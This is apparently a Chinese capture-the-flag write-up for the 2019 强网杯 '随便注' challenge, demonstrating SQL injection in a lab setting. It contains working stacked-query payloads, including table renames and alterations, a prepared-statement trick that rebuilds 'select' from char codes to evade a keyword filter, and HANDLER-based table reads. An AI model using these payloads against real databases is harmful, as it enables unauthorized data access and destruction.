[强网杯 2019]随便注

目录

信息收集

方法一：堆叠注入

方法二：MySQL预处理

语法

payload

方法三：handler

知识点

语法 

payload

---

信息收集

1' 

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

说明是单引号闭合

1' or 1=1;#

存在sql注入漏洞

1' order by 3;# 
Unknown column '3' in 'order clause'

说明只有两列

-1' union select 1,database() #
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

回显为过滤规则

因为这里select被禁用，考虑使用堆叠注入 

方法一：堆叠注入

• 数据库名

1';show databases;#

• 获取表名

1'; show tables;#

• 获取列名

1'; show columns from words;#
1'; show columns from `1919810931114514`;#

1919810931114514必须用反单引号括起来，不然出错

这里来说明一下原因：

在mysql中查询纯数字和关键字的列名、表名时必须加``

提示大家做列名和表名的时候不能用mysql中的关键字。

 

words表里有两个属性：id 和data
而1919810931114514表里只有一个属性
后台sql语句可能为 select * from words where id=$inject

注入1' or 1=1;#后sql语句变为

select * from words where id=‘    1’ or 1=1 #     ’

• 修改名称

1';rename table words to myword;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#

看了大佬写的wp，发现还有很多姿势可以更快拿到flag，简单记录下大佬的思路

方法二：MySQL预处理

语法

# 定义预处理语句
PREPARE stmt_name FROM preparable_stmt;
# 执行预处理语句
EXECUTE stmt_name [USING @var_name [, @var_name] ...];
# 删除(释放)定义
{DEALLOCATE | DROP} PREPARE stmt_name;

• 准备预处理语句

prepare sql_1 from "select * from pdo";
execute sql_1;
drop prepare sql_1;

• 定义参数变量

set @id=2;
execute sql_2 using @id;   --选出id=2的信息

• 综合案例

prepare sql_2 from "select * from coleak where id > ? && age > ?";
set @id=2;
set @age=30;
execute sql_2 using @id,@age;

concat()，函数用于字符串拼接。
char()，将ASCII码转换为对应的字符。

payload

1';SET @sql = concat(char(115,101,108,101,99,116), " * from `1919810931114514`"); PREPARE yuchuli from @sql; EXECUTE yuchuli;

因为select被过滤，用char(115,101,108,101,99,116)生成select，也可以用拼接生成select。
然后用concat()拼接成一句完整的sql语句。           
先定义了一个变量sql，然后将变量sql定义为预处理语句，然后再执行。

方法三：handler

知识点

mysql除可使用select查询表中的数据，也可使用handler语句，这条语句使我们能够一行一行的浏览一个表中的数据，不过handler语句并不具备select语句的所有功能。它是mysql专用的语句，并没有包含到SQL标准中。

语法 

通过HANDLER tbl_name OPEN打开一张表，无返回结果，实际上我们在这里声明了一个名为tb1_name的句柄。 通过HANDLER tbl_name READ FIRST获取句柄的第一行，通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。 通过HANDLER tbl_name CLOSE来关闭打开的句柄。

HANDLER tbl_name READ index_name = value指定从哪一行开始，通过NEXT继续浏览。

payload

1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;#